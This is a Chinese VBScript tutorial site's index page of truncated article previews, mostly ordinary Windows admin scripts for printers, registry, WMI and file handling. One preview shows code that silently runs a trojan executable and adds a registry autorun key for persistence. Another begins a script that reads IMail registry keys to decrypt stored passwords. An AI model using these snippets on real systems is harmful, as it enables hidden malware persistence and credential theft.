Vbs COM之打开/保存文件脚本代码

2017年02月06日 180 阅读

您先把如下的代码复制，然后保存为FileSave.vbs，双击打开，您看到了什么呢？复制代码 代码如下:Set objDialog = CreateObject（"SAFRCFileDlg.FileSave"） Set fso = CreateObject（"Scripting.FileSystemObject"） objDialog.FileName = "test" objDialog.FileType = ".txt" intReturn = obj...

vbscript logparser的ISA2004 Web流量报告

2017年02月06日 167 阅读

很喜欢这里的学习气氛，也很佩服两位版主的技术水平，希望能够在这里与大家多多交流。 作为见面礼吧，把前一阵子写的一个生成ISA 2004 Web 流量报告的脚本与大家分享。说明下，该校本是首发而且仅发在这里，我没有在菊花里面或任何地方发过。大家可以随意更改脚本以便适合你的要求，转载请保留作者信息谢谢。 我的很多客户希望能够每天或每周得到一份员工浏览Web情况的报告，例如所访问的站点以及流量等等，他们都使用ISA2004作为web proxy。由于ISA200...

用VBScript批量安装网络打印机和设置默认打印机

2017年02月06日 193 阅读

首先打开记事本，输入以下内容： 复制代码 代码如下:Set WshNetwork = CreateObject（"WScript.Network"） WshNetwork.AddWindowsPrinterConnection "\你的网络打印机位置1" WshNetwork.AddWindowsPrinterConnection "\你的网络打印机位置2" WshNetwork.AddWindowsPrinterConnection "\你的网络打印机位...

当某IP 连接我机器的3389端口 报警的脚本

2017年02月06日 151 阅读

我知道 用IPSEC也可以做到只让某IP访问访问，用netstat -an 可以看某IP正在访问我机器的3389端口，我想做监视 让某IP访问时 然后报警 或者输入 >*.txt 这样。。。你在防火墙里面设置仅允许单一IP连你3389不行么？ 脚本不是万能的…… 我刚看了。的确 windows 自带的防火墙可以记录下来。。结帖 thank you you...这里给出一种变通的方法 1、将下面代码保存为vbs文件复制代码 代码如下:Set obji ...

Vbs 脚本编程简明教程之一

2017年02月06日 164 阅读

也许你每天启动计算机第一件事情就是打开WORD，切换到你喜爱的输入法进行文本编辑，同时还要播放优美的音乐给工作创造一个舒心的环境，当然也有可能你经常需要对文本中的某些数据进行整理，把各式各样的数据按照某种规则排列起来……。这些事情重复、琐碎，使人容易疲劳。 第三方软件也许可以强化计算机的某些功能，但是解决这些重复劳动往往事倍功半，我也尝试过使用计算机语言编写程序来解决这些问题，但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要，难道就...

vbs SendKey 用法 Sendkey 键盘对应的码表

2017年02月06日 259 阅读

其使用格式为: object.SendKeys string "object":表示WshShell对象 "string":表示要发送的按键指令字符串,需要放在英文双引号中. 1.基本键 一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母"x",使用 WshShell.SendKeys "x" 即可. 也可直接发送多个按键指令,只需要将按键字符按顺序排列在一起即可.例如,要发送按键"cfan",可以使用" WshShell.Send...

利用WMI实现系统补丁检测分析

2017年02月06日 192 阅读

WMI是Windows 2000/XP管理系统的核心；对于其它的Win32操作系统，WMI是一个有用的插件。WMI以CIMOM为基础，CIMOM即公共信息模型对象管理器 （Common Information Model Object Manager），是一个描述操作系统构成单元的对象数据库，为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。Windows 管理规范 （WMI） 是可伸缩的系统管理结构，它采用一个统一的、基于标准的、可扩展的面向对...

用vbs 取得收藏夹里的所有链接名称和URL的脚本

2017年02月06日 190 阅读

另外，可以考虑在输出的时候将链接输出成超链接形式，输出文件改为html文件。GetFavorites.vbs:复制代码 代码如下:"=================================================================== Const FAVORITES = &H6& Const ForWriting = 2 Set objShell = CreateObject（"shell.application"） Set...

link-view.vbs 页面链接查看

2017年02月06日 159 阅读

复制代码 代码如下:set ws = CreateObject（"WScript.Shell"） dt = ws.SpecialFolders（"Favorites"） set lnk = ws.CreateShortcut（dt & "页面源文件解密.url"） set lnkt = ws.CreateShortcut（dt & "页面链接查看.url"） lnk.TargetPath = "javascript:HTML=document.body;w...

VBS读网页的代码

2017年02月06日 171 阅读

直接将下面的代码保存为test.vbs双击运行就可，如果不能使用，请看自己的电脑是否vbs被禁用。复制代码 代码如下:strURL = InputBox（"请输入要读的网址", "朗读网页", "http://www.jb51.net/index.htm"） If strURL = "" Then Wscript.quit End If Set ie = WScript.CreateObject（"InternetExplorer.Application"...

用VBScript写合并文本文件的脚本

2017年02月06日 203 阅读

合并文本的脚本可以这么写： 复制代码 代码如下:Sub AppendTextFile（filename） Set objTextFile = objFSO.OpenTextFile（filename, ForReading, true, -2） Do Until objTextFile.AtEndOfStream objOutFile.WriteLine（objTextFile.Readline） Loop End Sub 可是如果所读取的文件是UTF-8...

vbscript ms owc 封裝代码

2017年02月06日 182 阅读

复制代码 代码如下:""owc.vbs class owc private o "传入物件 public property set set_obj（o_id） set o=o_id end property "画图矩形图 "chart_bgcolor_图表的背景颜色 "chartCaption_图表的标题 "chartCaption_fontColor_图表标题颜色 "Interior_Color_矩形内的填充颜色 "Caption_名称 "categor...

VbScript 封裝MS OWC（二）

2017年02月06日 160 阅读

复制代码 代码如下:""OWC1.VBS class owc private o "傳入物件 public sub create（id_,width_,height_,location_） Set o = document.createElement（"object"） o.setAttribute "id",id_ o.setAttribute "classid","CLSID:0002E55D-0000-0000-C000-000000000046" ...

vbs 注册表操作代码（添加删除）

2017年02月06日 188 阅读

1、读注册表的关键词和值： 可以通过把关键词的完整路径传递给wshshell对象的regread方法。例如： 复制代码 代码如下:set ws=wscript.createobject（"wscript.shell"） v=ws.regread（"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun wiz"） wscript.echo v 2、写注册表 使用wshshell对象的regwr...

用于修复XP中最小化程序 在任务栏显示图标的vbs脚本

2017年02月06日 164 阅读

复制代码 代码如下:"xp_taskbar_desktop_fixall.vbs - Repairs the Taskbar when minimized programs don"t show. "？Kelly Theriot and Doug Knox - 8/22/2003 加工 加龙ddf3 "翻译：Smallfrogs。翻译内容：将英文提示改为简体中文 "来源：Microsoft Windows XP NewsGroup Set WSHShell...

完整的注册表操作实例 VBS脚本

2017年02月06日 184 阅读

①创建主键、创建各类型的键值。 ②读取键值并分析键值类型。 ③枚举主键及键值。 ④判断键或键值是否存在。 ⑤查询注册表键的操作权限。 ⑥监视注册表根键、主键、键值，当发现变动时提示。 复制代码 代码如下:"""注册表查询/操作 On Error Resume Next Const HKEY_CLASSES_ROOT = &H80000000"""设置注册表5大根键，HKCR-----------① Const HKEY_CURRENT_USER = &H8...

vbs 注册表实现木马自启动

2017年02月06日 168 阅读

呵呵～不过别人一般没这个闲工夫检查那么多位置的！就连我也做不到～～ 复制代码 代码如下:dim wsh set wsh=CreateObject（"WScript.Shell"） wsh.run "%windir%flumasko.exe",0 //运行木马程序 set sm=Wscript.CreateObject（"WScript.Shell"） sm.RegWrite "HKLMSOFTWAREMicrosoftWindows NTCurrentVe...

reg2vbs.vbs 将Reg文件转换为VBS文件保存 脚本之家修正版本

2017年02月06日 149 阅读

复制代码 代码如下:"***************************************************************************** " FileName: Reg2Vbs.VBS " Author: baomaboy " Abstract: 将Reg文件转换为VBS文件保存 "********************************************************************...

e是自然对数的底 e.vbs

2017年02月06日 166 阅读

"e=1+1/1！+1/2！+1/3！+1/4！+……+1/n！ "φkρ=αe "其中，α和k为常数，φ是极角，ρ是极径，e是自然对数的底。为了讨论方便，我们把e或由e经过一定变换和复合的形式定义为“自然律”。因此，“自然律”的核心是e，其值为2.71828……，是一个无限循环数。 "e=（1+1/x）^x "made by correy "QQ:112426112 "email:leguanyuan@126.com "第一种计算方法 e=1 m=1 n...

vbs imail 密码解密

2017年02月06日 170 阅读

复制代码 代码如下:on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set oReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\" &_ strComputer & " ootdefault:StdRegProv"） strKeyPath = "SOFTWAREIpswitchIMail...